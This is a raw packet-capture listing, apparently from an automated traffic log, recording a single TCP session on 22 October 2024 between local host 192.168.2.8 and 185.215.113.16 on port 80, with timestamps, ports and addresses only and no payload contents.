Oct 22, 2024 19:24:38.740519047 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:38.740547895 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:38.740559101 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:38.740571022 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:38.740586996 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:38.740597963 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:38.740600109 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:38.740607977 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:38.740621090 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:38.740631104 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:38.740638018 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:38.740643024 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:38.740653038 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:38.740658998 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:38.740658998 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:38.740668058 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:38.740679979 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:38.740689993 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:38.740701914 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:38.740725994 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:38.740725994 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:38.740737915 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:38.740748882 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:38.740775108 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:38.740825891 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:38.740844011 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:38.740854025 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:38.740855932 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:38.740864038 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:38.740873098 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:38.740890980 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:38.740890980 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:38.740906954 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:38.741115093 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:38.741126060 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:38.741137028 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:38.741158962 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:38.741242886 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:38.741246939 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:38.741257906 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:38.741267920 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:38.741278887 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:38.741291046 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:38.741301060 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:38.741302967 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:38.741313934 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:38.741327047 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:38.741341114 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:38.741341114 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:38.741542101 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:38.742676973 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:38.742687941 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:38.742700100 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:38.742742062 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:38.742757082 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:38.742767096 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:38.742777109 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:38.742786884 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:38.742800951 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:38.742806911 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:38.742819071 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:38.742826939 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:38.742830038 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:38.742865086 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:38.742865086 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:38.756690979 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:38.762099981 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:38.762115955 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:38.762128115 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:38.762140989 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:38.762152910 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:38.762164116 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:38.762166023 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:38.762178898 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:38.762217999 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:38.762217999 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:38.776767969 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:38.938960075 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:38.944269896 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:39.216825008 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:39.216892958 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:39.216944933 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:39.216985941 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:39.217010975 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:39.217036963 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:39.217102051 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:39.217109919 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:39.217138052 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:39.217173100 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:39.217181921 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:39.217206001 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:39.217232943 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:39.217240095 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:39.217269897 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:39.217308044 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:39.217341900 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:39.217348099 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:39.217370987 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:39.217375994 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:39.217417955 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:39.217426062 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:39.217439890 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:39.217442989 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:39.217474937 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:39.217509985 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:39.217514992 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:39.217514992 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:39.265794039 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:39.332446098 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:39.332485914 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:39.332523108 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:39.332545996 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:39.332556963 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:39.332597017 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:39.332631111 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:39.332664967 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:39.332695007 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:39.332727909 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:39.332734108 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:39.332850933 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:39.373192072 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:39.373204947 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:39.373217106 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:39.373250961 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:39.373255968 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:39.373270035 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:39.373281956 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:39.373294115 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:39.373301029 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:39.373307943 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:39.373328924 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:39.373354912 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:39.373905897 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:39.373922110 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:39.373934031 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:39.373977900 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:39.373977900 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:39.374001980 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:39.374012947 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:39.374214888 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:39.374226093 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:39.374228001 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:39.374242067 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:39.374270916 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:39.374339104 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:39.374351025 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:39.374363899 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:39.374376059 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:39.374389887 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:39.374397993 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:39.374397993 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:39.374449015 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:39.374468088 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:39.374480009 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:39.374491930 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:39.374505997 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:39.374512911 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:39.374519110 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:39.374531031 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:39.374543905 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:39.374545097 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:39.374557972 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:39.374581099 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:39.374691010 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:39.447664022 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:39.447675943 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:39.447685957 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:39.447726965 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:39.447765112 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:39.447776079 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:39.447786093 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:39.447803020 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:39.447837114 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:39.447848082 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:39.447864056 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:39.447875023 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:39.447879076 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:39.447879076 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:39.447932959 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:39.447993040 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:39.448004961 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:39.448014975 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:39.448024988 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:39.448034048 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:39.448041916 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:39.448051929 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:39.448059082 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:39.448062897 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:39.448074102 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:39.448082924 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:39.448084116 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:39.448118925 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:39.488673925 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:39.488692045 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:39.488702059 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:39.488712072 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:39.488723040 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:39.488734007 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:39.488778114 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:39.488778114 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:39.529139996 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:39.529160976 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:39.529170036 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:39.529253960 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:39.529284954 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:39.529297113 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:39.529306889 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:39.529323101 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:39.529340982 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:39.529359102 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:39.529367924 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:39.529380083 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:39.529383898 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:39.529383898 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:39.529400110 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:39.529409885 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:39.529418945 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:39.529419899 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:39.529437065 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:39.529463053 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:39.529474020 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:39.529486895 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:39.529490948 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:39.529499054 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:39.529503107 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:39.529508114 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:39.529512882 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:39.529516935 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:39.529522896 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:39.529535055 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:39.529541969 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:39.529553890 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:39.529576063 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:39.529587030 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:39.529597044 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:39.529601097 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:39.529601097 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:39.529629946 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:39.529633999 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:39.529642105 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:39.529659033 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:39.529692888 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:39.529692888 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:39.529755116 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:39.529812098 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:39.529941082 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:39.530055046 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:39.530075073 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:39.530091047 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:39.530102015 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:39.530112028 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:39.530134916 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:39.530134916 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:39.530138969 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:39.530167103 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:39.530211926 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:39.530240059 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:39.530251026 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:39.530267000 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:39.530277967 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:39.530288935 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:39.530308008 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:39.530308008 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:39.530344963 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:39.530368090 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:39.530379057 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:39.530426025 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:39.530488014 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:39.530544996 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:39.530561924 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:39.530572891 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:39.530607939 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:39.530621052 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:39.530631065 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:39.530642986 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:39.530685902 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:39.530695915 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:39.530706882 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:39.530718088 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:39.530728102 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:39.530739069 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:39.530747890 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:39.530767918 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:39.530767918 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:39.530778885 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:39.530785084 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:39.530792952 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:39.530802965 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:39.530846119 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:39.530846119 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:39.563152075 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:39.563190937 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:39.563200951 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:39.563246965 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:39.563258886 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:39.563267946 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:39.563308954 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:39.563328028 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:39.563337088 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:39.563337088 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:39.563339949 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:39.563364029 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:39.563375950 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:39.563386917 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:39.563404083 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:39.563405991 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:39.563405991 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:39.563416004 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:39.563426018 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:39.563452005 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:39.563456059 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:39.563463926 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:39.563473940 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:39.563484907 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:39.563528061 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:39.563528061 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:39.563585043 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:39.563600063 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:39.563610077 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:39.563622952 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:39.563640118 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:39.563651085 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:39.563657045 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:39.563657045 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:39.563663960 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:39.563673973 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:39.563687086 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:39.563695908 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:39.563704014 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:39.563725948 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:39.563725948 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:39.563800097 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:39.563925028 CEST	80	49717	185.215.113.16	192.168.2.8
